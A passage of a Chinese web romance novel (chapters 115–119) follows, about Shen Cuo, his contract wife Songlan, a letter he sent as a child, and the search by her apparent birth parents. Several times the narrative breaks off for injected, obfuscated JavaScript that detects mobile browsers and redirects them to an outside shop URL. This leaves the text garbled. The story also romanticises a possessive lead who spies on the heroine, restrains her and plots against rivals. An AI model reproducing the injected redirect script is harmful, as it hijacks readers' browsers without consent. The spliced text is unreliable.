妈妈我想你,我可以去找你吗?” 当时她看到这封信,立即就明白,写信的小孩可能患有精神方面的疾病。 他可能把天堂口特殊儿童学院当成了天堂,所以把写给妈妈的信,寄到了这里。 出于同情,又出于担忧,她便假扮他的母亲,以妈妈的口吻写了一封回信。 沈错至今还记得那封回信。 信上写着: “亲爱的宝贝,妈妈没有在天堂,妈妈在很远的地方工作。 你要乖,要好好在医院治病,等病好了,就来韵县。 韵县少年宫的大榕树下,藏着妈妈给你的礼物。 你一定要打败病魔,快快好起来哦。” 房间里安静极了,老旧的柚木地板散发着陈年的朽味,结了网的屋角落着灰。 屋里的两个人互相看着,彼此的眼中缠绕着一种说不清道不明的磁场。 菘蓝:“你的意思是说?我回的那封明信片,是你寄的?” 沈错:“对。” 菘蓝皱着眉头:“可是时间不对啊,你那时候都成年了,可写信的分明是个小孩子啊。” 沈错:“那张明信片是我四岁的时候寄出去的,在收发室躺了十几年,你当时回信的时候,肯定没有看寄信人的日期。” “额......” 菘蓝愣住了。 她确实不会特意注意寄信日期,因为收发室积累了很多信件,有建议信、投诉信、孩子们的明信片。 她回复都回复不过来,哪里还有闲心去注意那些。 菘蓝:“所以,也就是说,你收到了4岁时寄出去的回信?” 沈错:“对,我没想到,那封信,居然会在十几年后收到了回音。” 那张明信片寄出去之后,他每天都在等,希望能等到妈妈的回信。 就是这个念头让他撑过了那些漫长的、痛苦的、冰冷的岁月。 在一次次非人的医疗实验和折磨中活了下来。 后来渐渐长大,他才明白,那封信永远不可能有回音。 三年前,他在一次行动中受了伤,导致经年的病情恶化,出现病理性躯体化症状。 暴躁、易怒、充满破坏欲。 生人近之者死。 所有人都躲着他,没有人敢靠近他。 他在经历一次次身体和心理治疗后,情绪已经濒临崩溃。 他回到了青山湖老宅,他回到了他出生的地方,并准备在这里死去。 那是一个雪夜,天寒地冻,地上的积雪反射着星光,泛着海水一样的蓝。 积雪压踏了老旧的信箱,掉出一封泛黄的信件。 信已经寄过来一年多了,由于老宅无人打理,所以一直也没人发现。 他好奇地打开信封,然后看到天上掉下一束星光,将信上的文字照得生动滚烫。 他从没想过,居然能收到小时候最渴望的回信。 回信的人还真大胆,居然敢冒充他的妈妈,来欺骗他这个二十二岁的小孩。 他再一次接受了治疗,身体回复后,他按照信中提及的地方,去了一趟韵县。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17142527|196353||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' br>然后真的在少年宫的榕树下找到了礼物。 那是一个小铁盒,铁盒已经锈迹斑斑,里面躺着一串给小孩子祈福的手链。 他本来没有抱希望,以为所谓的礼物也是骗他的。 “那个年纪的小孩特别喜欢寻宝,我就想着,他肯定会为了寻宝,积极配合治疗。” 菘蓝沉浸在回忆中,双手托着腮,眼底一片柔和: “只是我没想到,原来当年那个小男孩已经长大了,早就活了下来。” 听闻,沈错缓缓抬眸,用异样的眼神盯着菘蓝,“不,他是在收到回信的那一刻,才活过来的。” 菘蓝眨了眨眼睛,有些不明白。 沈错抿了抿唇,没有解释,只是静静凝视着她,语气认真道:“谢谢你。” 寂静的房间里,他看着她,她看着他,两人相对而视,眼中倒映着彼此。 片刻后,菘蓝摇了摇头,有些感慨道: “不用谢我,其实我也没有帮到你什么,我只是觉得好奇妙啊。 我居然回复了一封十几年前的信件,而那个人寄信的人,刚好是十八年前的你。” 沈错:“不是十八年前,是十九年前的我。” “啊?” 菘蓝有点懵,蹙眉看着他道:“你今年不是22岁吗?你写信的时候不是4岁吗?” 沈错:“我23了,我已经过了生日。” 菘蓝瞳孔微微睁大:“啊?你什么时候过得生日?” 沈错:“昨天。” 菘蓝:“!???” “昨天?” “对,我和那个小绿茶是同一天出生的,昨天也是我的生日。 我昨天等了你一整天,那个针织的小玩偶,我以为......你是为我准备的礼物。” 男人的语调很平,听不出什么情绪。 菘蓝震惊了。 沈错和许生居然同一天生日? 原来他昨天一直在等她一起过生日,怪不得他......他那么生气。 “对.....对不起哦。” “你永远不用跟我说对不起,该说对不起的人是我,我不该那样对你,很抱歉。” 第一百一十五章 温柔** 他刚才在车里情绪又失控了。 他不该那样。 他明明对她承诺过,不会违背她的意愿,强迫她做任何事。 “对不起,我为我刚才的行为道歉。” 男人垂着眸子,黑发贴在额头上,刀削般的下颌线不再紧绷,泛着玉色的柔软。 他眼神不再暴戾,整个人都柔顺了下来,连声线都是温润的。 他将一把**塞到菘蓝手里,抿了抿唇道,“如果下次我再这样,你就用刀捅我。” 看着手心闪着寒刃的刀锋,菘蓝睫毛颤了颤,她把**丢到一边,轻轻吸了吸鼻子,小声嘟囔: “尽整些没用的,给我十把刀,我也杀不了你。” 沈错:“..........” 菘蓝扫了一眼照片墙,看到很多照片都是从监控录像里截下来的,“所以你后来就开始调查我,然后查到了那所特殊儿童学院?” 沈错点了点头。 他很想知道回信的人是谁,便开始调查。 可惜等他查到她的时候,她已经从特殊儿童学院离职了,并且,不管怎么查都查不到她的下落。 不仅查不到下落,也查不到她的过去。 学校里,跟她有关的所有录像,他反反复复看了很多遍。 她好漂亮,尽管穿着朴素的制服,依旧漂亮得让人移不开眼。 他喜欢她教孩子们手语时专注的神情,喜欢她跟孩子们玩游戏时的笑容,更喜欢她对乱发脾气的智障儿童的包容。 他特别羡慕那些孩子,甚至羡慕到嫉妒。 小时候,躁郁症发作,他只会得到皮鞭和铁链,冷眼和指责。 她对那些孩子,那么有耐心,那么温柔,那么纯粹。 他从来没有见过这样的人,也从来没被这样温柔以待过。 温柔的星光隔着时空看了他一眼,他便却对那道星光产生了不该有的妄想。 他希望那颗星星是他的,能独属于他。 思绪收拢,沈错静静看着菘蓝,眸底星光涌动。 “我找了你整整三年,没想到你居然出现在了我的婚礼上,还成了我的妻子,本来我没想回去结婚,但是看到了你.......” 踏破铁鞋无觅处,蓦然回首,那人就在灯火阑珊处。 那一天,他欣喜若狂,他成了世界上最幸福的新郎。 “所以,我要娶的人也从来不是什么徐幼蓝,而是你,也只有你。” 他紧紧攥着她的手,紧得手背暴起青筋,紧得指骨分明。 紧得像抓住了救命稻草。 两人挨得很近,能听见彼此的心跳。 菘蓝被男人灼热的视线烫了一下,她慌忙移开眼睛,清清冷冷道: “那你这算什么?只要对你释放过善意的人,你都要把她娶回家吗? 如果回你信的人是中年妇女,是秃顶的教务主任,是收发室的老大爷,你也要娶他们吗? 怎么?谁对你好,你就要把谁娶回家啊? 搞不懂你是怎么想的。 你要是想感恩就好好感恩,别恩将仇报。” “...........” 沈错一阵无语,他被她怼得说不出话。 “不是.....我不是.......” “你就是!你也不是真正喜欢我,既然这样,你也别**自己,也别**我,别说什么爱我,非我不娶,麻烦你看清自己的内心,你不过是.......” 她的小嘴喋喋不休,结论和观点一套一套的,自成逻辑。 沈错脑子乱乱的,她指责他非她不娶的行为不合理,可他一时也想不出该怎么反驳。 逼到没有办法,他急得冒出一句: “那抛开之前的事情不谈,我就是喜欢你,喜欢你的脸喜欢你的身材行了吧? 我对你是生理性喜欢,我第一眼看到你就喜欢你了,我对你一见钟情,所以我非你不娶! 如果你非要我给你一个非你不娶的理由,那理由就是我对你一见钟情!” 掷地有声的话语,在安静的房间里久久盘旋、回荡。 像寺庙里敲响的洪钟,振聋发聩,一声声敲在了人心上。 菘蓝心跳乱了一拍,然后冷着脸骂了句:“肤浅。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17142528|196353||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' r>肤浅的男人,见色起意的男人,狗男人。 “嗯,对,我就是肤浅,我就是见色起意,我就是狗男人。” 男人从背后紧紧拥抱着她,像拥抱着整个世界,眉眼温柔,眸底透着罕见的澄澈与坦率。 他喜欢她的长相,喜欢她的身材,喜欢她的温柔善良,也喜欢她的狡黠,喜欢她的冷漠,喜欢她的满嘴谎言。 他喜欢她的所有。 她什么样子,他都喜欢! 菘蓝诧异地看了男人一眼,微张着红唇:“你怎么知道我在心里是这样骂你的?” 沈错低低笑了一声:“因为我了解你啊。” 她偏过头,冷着脸,“你才不了解我。” “嗯对,我不了解你,那你能不能给我个机会,让我了解了解。” “不能。” 她的语气又冷又硬,像雪山上的坚冰。 她背过身去,抬腿要走,没走出两步,被沉着脸的男人,攥着手腕一把拉了回来。 他紧紧箍着她的细腰,将头埋在她的肩颈,贪婪地嗅着她温热的体香,用乞求的声音道: “蓝儿,现在误会解除了,你可以不要这么抗拒我吗? 我会对你好的,你要什么我都给你。 不要走,不要离开我,也不要拒绝我,好吗?” 菘蓝身体颤了一下,心跳节节攀升,却还是冷着脸道: “不要,你是温柔**,情绪太不稳定,我喜欢情绪稳定的男人。” 温柔**? 听到这个称呼,沈错呼吸停了一瞬,而后他脑海中突然划过周正安那张不苟言笑的脸。 喜欢情绪稳定的? 她喜欢周正安? 心头漫过细细密密的痛意,像是扎了千万根针。 男人的掌心慢慢收紧,蕴含着隐隐压抑的暴戾,他喉咙轻轻滚了两下,眼底漫开一抹狰狞。 随后,他又深吸了几口气,努力压下眼底的情绪,认真地看着菘蓝,一字一顿道: “我会改,我会控制好自己。” 嗯对,他会在她面前控制好情绪。 但是,他要周正安死! 第一百一十六章 他年轻有力气 “宝宝,表叔他老了,他没有我年轻有力气,他不行了。” 没头没脑的一句话,直接砸在了菘蓝脸上。 她怔愣了很久,才反应过来他在说什么。 她说她喜欢情绪稳定的男人,直接让沈错联想到了周正安。 可是,周正安哪里老了,不过也才27。 他就是辈分大了一点。 菘蓝脱口而出:“他也没比你大多少啊。” 听到她帮周正安说话,男人眉眼瞬间冷了下来,他突然按住菘蓝的手腕,往自己身下一按,阴恻恻道: “我收回我刚刚那句话,我比他大,还大很多。” 意识到自己触碰到了什么,菘蓝小脸顿时涨得绯红,她像被烫到了一样飞快缩回手,又狠狠推了沈错一把,“你耍流氓啊!” 男人神情偏执地看着她,目光阴鸷地舔了舔唇: “对自己的老婆怎么能算耍流氓?” 菘蓝红着脸,双手叉腰,怒气冲冲地瞪着他,大声吼道:“我才不是你老婆,我们只是协议婚约!” 她像一只小河豚,腮帮子气鼓鼓的,可爱极了。 沈错静静看着她,将她的模样深深刻进了心里。 他好喜欢这样的她。 好生动,好鲜活。 好像枝头半熟不熟的青梅,又酸又甜的。 他蜷着手心,喉结轻轻动了动,哑着嗓子道:“那我们现在就去领证,就不是协议婚约了。” “你想得美!” 菘蓝气到跺脚。 这狗男人怎么油盐不进的! 讨厌**! 带着心头的烦躁,她砰地一声推开门,踏出门槛前,突然转身,看向刚想冲过来的男人: “你不准再拽我!也不准跟过来!” 看着她盛满怒意的眼睛,沈错不敢动了,伸出去的手僵在了半空。 他很听话道:“好,我不动了。” 菘蓝气冲冲地下了楼,古老的木质地板被她踏得咚咚响,一下一下踏在沈错的心弦上。 他看着她离去的背影,温顺的表情一点点被偏执和阴鸷替代。 他好想把她拴在他身边,好想把他们的夫妻关系变成真的。 相处了这么久,沈错也摸清了菘蓝真实的性情,他知道她是吃软不吃硬的那类人。 他不能逼她,他越逼她,她越反感。 其实他大可以手段强硬一点,但是他不能,他对她下不去手。 他到底该拿她怎么办才好呢。 思忖了一会后,沈错拿起手机,拨打了一个电话。 他对着听筒道:“三天时间,把周正安在海都经营的所有业务,还有他名下大大小小的公司,统统查一遍。” 既然解决不了她,那就先解决她身边的男人。 许生、白楚年、周正安,他一个都不会放过! ............. 菘蓝穿过庭院的时候,看到李顺还在雪地里跪着,肩上落了厚厚的雪,小圆脸冻得红红的,便冲着他道: “你起来吧,别跪着了。” 李顺低着头,小声啜泣道:“呜呜,少夫人,我做错了事情,我该罚,您别管我了。” 他可是差一点就把人家夫妻搅合散了啊。 少爷没有直接打死他,已经是慈悲为怀了。 “她让你起来,你就起来,以后你们都听她的,她让你们往东,你们就别往西。” 沈错从长廊的一角转过来,他站在覆着雪的青松下,长身玉立,英姿挺拔,用温柔缱绻的目光看着菘蓝。 李顺从地上爬起来,揉了揉跪疼的膝盖,一瘸一拐地走到菘蓝面前: “呜呜,谢谢少夫**人不记小人过,我以后就是少夫人的狗,您让我汪汪叫我绝不喵喵叫。” 还不等菘蓝开口说话,沈错率先一个暴栗甩在了李顺脑门上: “滚!当狗还轮不到你!汪什么汪,喵什么喵!” “嗷!” 李顺痛得嗷了一嗓子,麻溜地捂着脑袋跑了。 菘蓝瞥了沈错一眼:“你这人这么凶干嘛?” 她语气轻飘飘的,却听得沈错心里发慌,男人连忙软了声:“好好好,我改我改,我以后不凶了。” 他说着软话,菘蓝也不好再借题发挥,脸色柔缓了一些。 看到这招有效果,男人眸底飞快掠过一抹幽光。 嗯,没错,他的蓝儿果然是个吃软不吃硬的性格。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17142529|196353||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' r>“宝宝,我今天想补过个生日,你晚上可以赏脸陪我吃顿饭吗?” 他的语气很卑微,还带着一丝乞求。 菘蓝想了想,她昨天确实放了沈错鸽子,心里也有点过意不去,便回道: “嗯,行。” 不过吃个饭而已,也不是什么麻烦事。 沈错嘴角缓缓漾开笑意,“那.......那我也可以有生日礼物吗?” 菘蓝:“...........” 她忘了,这狗男人是个顺杆子爬的货色。 给点阳光就灿烂,给点颜色就敢开染坊。 “给你一巴掌你要不要?” “要!” “滚蛋。” 索要礼物无果的男人,最终在朋友圈发了一张照片。 照片上是一条乌柏珠串手链。 他故意把手工编织的红绳露出来半截,配文道: 【收到老婆送的生日礼物啦,今天又是幸福的一天。】 很快,许生就看到了沈错的朋友圈。 他盯着手机屏幕,眼底的醋意像墨一样浓到化不开。 怎么可以! 姐姐怎么可以也给别人送手工礼物。 他很生气,但又不敢冲菘蓝发火,只好咬着后槽牙,恨戳戳地屏蔽了沈错的朋友圈。 眼不见为净! 菘蓝也刷到了沈错的朋友圈,她看着照片上的乌柏手链发呆。 她突然意识到一件事。 沈错跟他母亲的关系,好像并没有外界传言的那么糟糕。 如果沈错真的讨厌沈夫人,小时候又怎么会给她寄明信片,还巴巴等了那么多年。 “老婆,你在想什么呢?” 沈错看着菘蓝对着手机发呆,没骨头一样贴了过来,他双手环着她,将下巴抵在她的发顶。 菘蓝眸光动了动,她想问沈夫人的事情,但又害怕踩到沈错雷区。 她害怕他又像上一次那样失控。 “怎么了?你怎么不说话?” 见菘蓝半天没有反应,样子呆呆的,沈错忍不住捏了捏她的脸颊。 嗯,手感柔软,像嫩滑的布丁。 他忍不住犯贱,凑到她耳畔道:“老婆,我可以亲你一下吗?” 第一百一十七章 她的亲生父母 还不等菘蓝答应,男人就飞快在她脸上啄了一下。 “喂!你!” 她抬手想扇他,但看到对面一脸期待的眼神,手突然在半空中停住。 对狗男人来说,那能叫扇耳光吗?那叫奖励。 她才不要奖励他! 快速收回手,她使劲瞪了沈错一眼,“我只配合你在外人面前秀恩爱,你以后再这样呢,我们就终止协议。” “好的老婆。” 男人笑眯眯地抓住她的手,满口答应,“那我们出门秀恩爱吧。” 菘蓝:“..........” 沈错今天要补过生日,她没有办法拒绝。 “上午,你要陪我去商场,中午,我们去水上餐厅,晚上去淮山湖看夜景,怎么样?” “都行。” 她反应淡淡的,一副不想上班但又不得不上班的死样子。 “你有没有什么想去玩的地方?” “没有,你定就好。” ........... 吃完早饭,沈错拉着菘蓝的手高调出行,身后跟了一帮佣人和保镖,乌泱泱的一大片。 “老婆,你在外面得配合我,不能给我甩脸色哦,你的**风波还没完全过去,我们要营造夫妻恩爱的画面,听懂了吗?” 车子里,男人紧紧抱着菘蓝,像吸猫一样在她肩颈上蹭来蹭去。 他就是在明目张胆地占便宜。 菘蓝没有回应他,懒洋洋地窝在座位上,伸手用力把男人的头拨到一边,“够了。” “不够,还要贴贴。” 男人甚至还把车窗打开,故意让行人看见。 车子里的两人男帅女靓,十分惹眼,一帮人在后面悄悄议论: “哇,这不是沈氏集团的少爷和少夫人吗,看起来好恩爱啊,我就说那些谣言都是假的吧。” “就是就是,肯定是谣言,如果事情是真的,早就掰了。” “不过世界上真的有没任何血缘关系,却长得很像的两个人吗?” “这有啥啊,大千世界无奇不有,别人还管我叫刘德华分华呢。” 与此同时,遥远的云都。 容家。 容云儿哆哆嗦嗦站在大厅里,身边围了一圈人,当中有一对中年夫妇极为惹眼,两人衣着考究,长相不凡。 尽管岁月在他们脸上留下些许风霜,但依旧能从眉眼中窥探出年轻时光彩照人的芳华。 儒雅的中年男人拿出一张照片,看向容云儿问道: “云儿啊,你告诉伯父,一年前假扮你的那个女孩是不是她?她现在是沈氏集团的少夫人?” 男人手里的那张照片,正是沈错当时为了压**,上传的菘蓝与容云儿容貌的对比图。 容云儿看着照片,咬了咬唇,目光闪烁道: “伯父,我也不清楚,但当时那个**我,想顶替我嫁进许家的人,确实跟我长得很像。 您.....您打听这些干什么?” 被容云儿称为伯父的人叫做容海天,他本应该是容家的继承人,但二十多年前与容家断绝了关系,带着妻子去了海外。 这些年容家败落,容海天反而在海外混得风生水起,一手建立的贸易集团越做越大,成功跻身世界50强。 “天哥,她一定是我的囡囡,她一定是!” 男人身旁的贵妇人凝望着照片,哭得泪眼婆娑: “你看她的眼睛,跟我的一模一样,你看她的脸型,跟你年轻时候,简直一个模子刻出来的。” 贵妇人叫郭晓云,是容海天的妻子,她哭着抚摸着照片,漂亮的桃花眼噙满了水雾,双肩不住地抖动。 容云儿听得一愣一愣的,诧异地张大了嘴巴: “伯父伯母,你们该不认为表妹还活着吧?她不是连骨灰都......” “闭嘴!” 容云儿的父亲连忙打断她,阻止她继续说下去,随后他看向容海天,谄笑着道: “大哥,你们先别急,你们这么多年没回国,也不了解国内的情况,这件事我帮你们查。” 容海天摇了摇头:“没事,不用麻烦你们了,接下里的事,我自己来。” 前段时间,沈氏集团少夫人的谣言传到了外网,容海天和郭晓云看到菘蓝那张照片,顿时移不开眼了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17142530|196353||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' br>怎么能有人长得那么像他们两人的结合体。 偏偏是个女孩。 还偏偏二十多岁。 他们曾经有个孩子,但刚出生就被摔**,是被棒打鸳鸯的容母“不小心”摔死的。 容母一直看不上小门小户出身的郭晓云,即使她怀了容家的孩子,也不准她进家门。 后来为了拆散两人,容母命人“不小心”摔**他们刚出生的孩子。 那件事情之后,一向儒雅的容海天割腕明志,与容母断绝了关系,并放弃容家继承人的身份,带着妻子去了国外。 郭晓云也因为孩子的死,精神一直不正常,整日浑浑噩噩,容海天心疼她,便没有再让她怀孕。 前段时间。 郭晓云在网上看到菘蓝的照片后,发了疯一样要回国。 尽管当年那个孩子的骨灰都被他们洒进了大海,但郭晓云却坚信照片上的女孩就是她的囡囡。 容海天没有办法,便陪她回到了阔别二十多年的家乡。 他其实对这次的寻亲并没抱什么希望。 因为当年是他亲手装殓了婴儿的尸骨,火化了尸体,将骨灰洒进了海里。 “云哥,我们去海都找她,我们去找囡囡,她就是我的囡囡。” 郭晓云双眼哭得通红,她抱着容海天的手臂,无神的黑眸破开一缕晨光。 容海天哽咽地滚了滚喉咙,轻轻拍着她的背,安抚道: “好,我陪你去找。” .......... 海都。 天齐商场。 “老婆,你穿这件裙子好看,这件也适合你,还有这件........” 沈错拉着菘蓝在奢侈品店扫货,他给了菘蓝买了一堆东西,佣人和保镖的手里拎满了手提袋。 不管菘蓝看上没看上,只要他觉得好看,就都买了。 他还非要菘蓝去试衣服,菘蓝懒得折腾,无语地看了他一眼: “今天是你要过生日,你干嘛总给我买。” 听到这话,某人委屈巴巴地看着她: “我也想有人给我买啊,这不是没有吗.......” 第一百一十八章 找上门 菘蓝没好气地瞪了男人一眼: “你能不能别总是在我面前装委屈,烦**了,也不知道跟谁学的。” 男人抿着唇不说话,拿一双波光粼粼的瑞凤眼看着她。 他的瑞凤眼真的很漂亮。 优雅的眼尾微微上扬,拉长了视觉效果,开扇的内双眼皮显得瞳仁稍圆,兼具了丹凤眼的优雅和狗狗眼的无辜感。 不笑的时候让人觉得无情冷漠,笑起来的时候又让人觉得清澈无害。 可冷可纯,可邪可萌,可柔情似水可冷若冰霜。 菘蓝承认。 她很吃沈错的颜。 这狗男人确实是长在了她的审美点上。 “诺,这条领带帮我包起来。” 路过Armani的时候,菘蓝随便挑了条领带,刷卡付了款。 随后,她扬手把手提袋丢给了沈错:“给你买了,别在我耳边念叨了。” 她算是看出来了,她今天要是不表示一下,这狗男人能在她耳边念叨一整天。 反正花的也是他的钱。 “宝,你对我是不是有点敷衍了。” “不要给我,我送别人。” “不行!送了我就是我的了,不能再要回去。” “那你就闭上嘴。” 对于沈错这种顺杆子往上爬的不要脸的性格,她不能对他太好。 这种人,你一对他好,他就会变得更加不要脸,更加索取无度。 果然,沈错转头发了十条朋友圈。 【我老婆给我买的领带。】 【我老婆眼光真好。】 【有老婆就是好,生日礼物收到手软。】 【我老婆好爱好爱我啊,好幸福~】 底下一大堆人点赞评论: “哇,沈少爷和沈少夫人感情真好。” “沈少夫人眼光真不错。” “这领带跟沈少爷的气质太相配了。” 某个男人沉浸在了一声声的恭维与夸赞中,惹得菘蓝连连翻白眼。 她什么时候好爱好爱他了,真是臭不要脸。 两个人并排走着。 一个臭着脸,一个臭不要脸。 商场的三楼是儿童乐园,上面传来一阵阵孩童的欢笑声。 孩子们在乐园里玩滑梯,荡秋千、玩蹦床、攀爬架,玩得小脸红红的。 菘蓝站在外面看了一会,不经意间眼底流出一抹向往。 “老婆,你也想进去玩?” “开什么玩笑,我已经成年了好吗。” 她从没玩过这些东西,小时候只能站在高高的铁网外面,一脸羡慕地看着家长带着孩子们玩。 这些,对于她来说,太奢侈了。 突然,她手心一热,被人紧紧握住。 “想玩咱们就去玩,正好我也没玩过。” “欸?” 二十分钟后。 两人出现在了海都最大的明珠游乐园。 明珠游乐园也是沈家的产业,为了感受氛围,沈错没有让园长清场,也没有开绿色通道,很低调地牵着菘蓝跟普通游客一起排队。 今天是工作日,游乐园的人不算太多,每个游玩项目十分钟之内都能排到。 远处。 玩**机的游客的惊呼声一浪高过一浪,沈错指着从高空瞬间跌至底层的巨型铁塔,笑吟吟道: “老婆,你敢不敢玩**机?” 从499米的高空瞬间跌至底层,全程仅用两秒,超重和失重的刺激感直接拉满。 “玩!” 她抬头看向高空,漂亮的双眸闪烁着细碎的微光。 坐上座椅,系好安全带,**机开始急速攀升,耳畔的风压呼呼作响,已经有游客忍不住惊叫出声。 沈错拉着菘蓝的手,与她十指相扣,笑着看向她道: “老婆,等会下落的时候,你要是害怕就攥紧我。” 菘蓝轻轻哼了一声,“哼,我怎么可能会......” “怕”字还没有说出口,**机瞬间跌落,一股巨大的吸力狠狠拽着她砸向地面,极速失重的快感吓得她炸开一声尖叫: “啊啊啊啊啊!!!” 放纵的惊呼声刺破云层,挑战高空的勇者借着**机疯狂尖叫,似乎在宣泄堆积已久的各种情绪。 一场**机玩下来,嗓子都喊哑了。 不仅嗓子哑,腿还软了。 菘蓝的魂儿仿佛还在数千米的高空,她双眸有些失神,小腿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17142531|196353||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 肚坠痛酸软,站都站不稳。 “嗤,刚刚逞什么强呢?” 沈错低笑一声,抬眸看着两人紧紧相扣的十指,开心地翘起了嘴角。 “我才没有害怕好吗!” 听到男人的奚落,菘蓝不服气地瞪着眼睛,可酸软的身体却忍不住往栏杆上靠。 太刺激了,她的心脏现在还在砰砰跳。 沈错伸手揽过她的腰,让她靠在自己的胸膛上,眸光一闪一闪道:“我发现了,你是属鸭子的。” 菘蓝:“嗯?” 沈错:“死鸭子嘴硬。” 菘蓝:“你才嘴硬!” 两人像极了热恋中打情骂俏的小情侣,一颦一笑,炽热明媚。 旁边的佣人和保镖一脸感慨: “少爷和少夫人感情真好啊.......” **机之后,两人又体验了过山车、海盗船、大摆锤,摩天轮....... 一整套项目玩下来,菘蓝小脸红扑扑的,额头布满了细密的汗珠,虽然很疲惫,但她一双眸子却亮得惊人。 她从来没有这样肆意地尖叫、呐喊过,从来没有这样放纵地疯玩过。 压在心底的沉疴好像被尖叫声粉碎掉了,她现在感觉身体轻飘飘的,舒服极了。 沈错旁若无人地背起腿脚酸软的菘蓝,问了她一句: “感觉怎么样?好玩吗?” 她点点头,仰起兴奋到通红的小脸,吹着****凉风,回道:“还不赖。” 男人嘴角缓缓漾开笑意:“嗯,开心就好。” 休息的时候,沈错去给菘蓝排队买棉花糖。 他在末尾排队,她在不远处的椅子上吹风,两人身后是漫天的粉色云霞和直入云霄的摩天轮。 “嗡嗡.....” 沈错排队的时候,手机震动了两下。 他打开一看,屏幕上弹出一条信息: 【少爷,云都容家的容天海,想要见您一面。】 看到容家两个字,他狭长的眸子微微眯起,透出一股冷意。 容家? 难道是想找蓝儿的麻烦? 他看完消息,简短地回了一句: 【容家的人还没有见我的资格。】 第一百一十九章 喝酒 他看过容家被封存的报警档案,说菘蓝为了攀高枝,**容云儿,顶替她的身份嫁进许家。 但案件悬而未决,在许家的强势介入下不了了之。 容家的人现在找过来,恐怕是想翻旧账。 现在网上的**刚摁下去,他是不会让容家又来搞事情的。 排队买棉花糖的人并不多,沈错买了两支草莓味的棉花糖,远远看着,像是捧了两团粉色的红云。 菘蓝扫了一眼,基本都是家长牵着小孩子在排队。 几乎没有像他们这样的成年人在吃棉花糖这种哄小孩的糖果。 菘蓝低头看着脚尖,一下下碾着脚底的沙土。 “干嘛,你跟土地有仇啊?” 沈错笑着将手里的棉花糖递给她。 天边的夕阳落在地平线上,晕染着深深浅浅的红,他眼底倒映着霞光,温暖且温柔。 她伸手接过棉花糖,小声说了句:“谢谢。” 沈错挑眉:“谢什么?我可是你老公欸?” 菘蓝:“临时的。” 沈错:“临时老公那也是老公。” 棉花糖被她撕成一小片一小片的塞进嘴巴,她像个舍不得快速把糖吃完的小孩子。 “诺,我的也给你。” 见她吃得精贵,沈错把自己的棉花糖也递了过去。 菘蓝看了眼已经咬了一口的棉花糖,很嫌弃道:“你自己吃吧,我才不要。” “老婆,你嫌弃我.......” “嗯,是的,你有意见?” “没有,我哪敢啊,你可是我亲亲老婆欸,你说东,我不敢往西......” 沈错支着手肘,把下巴搁在手背上,眼睛眨也不眨地盯着菘蓝,眼底的柔情蜜意都快要溢出来。 菘蓝偏头,只当看不见。 她小脸绯红绯红的,像早春的樱花,初拾人间的霞光。 她的心突然跳的好快。 那一天的风是草莓味的,晚霞是粉红色的,心跳是棉花糖味的。 沈错目不转睛地看着菘蓝,看着看着脱口来了句: “宝,你的脸好红。” 她下意识伸手摸了摸发烫的脸,连忙解释道:“哦,我是热的。” 话刚说完,她就后悔了。 她为什么要解释。 这样一解释,就好像她在掩盖什么一样。 看着她时而蹙眉时而摇头,有点懊恼又有点羞愤的小表情,沈错漆黑的眸子星光熠熠。 他嘴角漾开一抹笑意,直白道:“蓝儿,我好喜欢你。” 菘蓝垂眸,冷着脸应了一句:“哦。” 她语气很淡,但回应的很快。 见她脸色绯红,目光躲闪,沈错直勾勾地看着她,低笑着问道:“那你喜欢我吗?” “不喜欢!” 她像被踩了尾巴的猫,飞快地惊叫着回应。 她否认的太快了,快得有些欲盖弥彰。 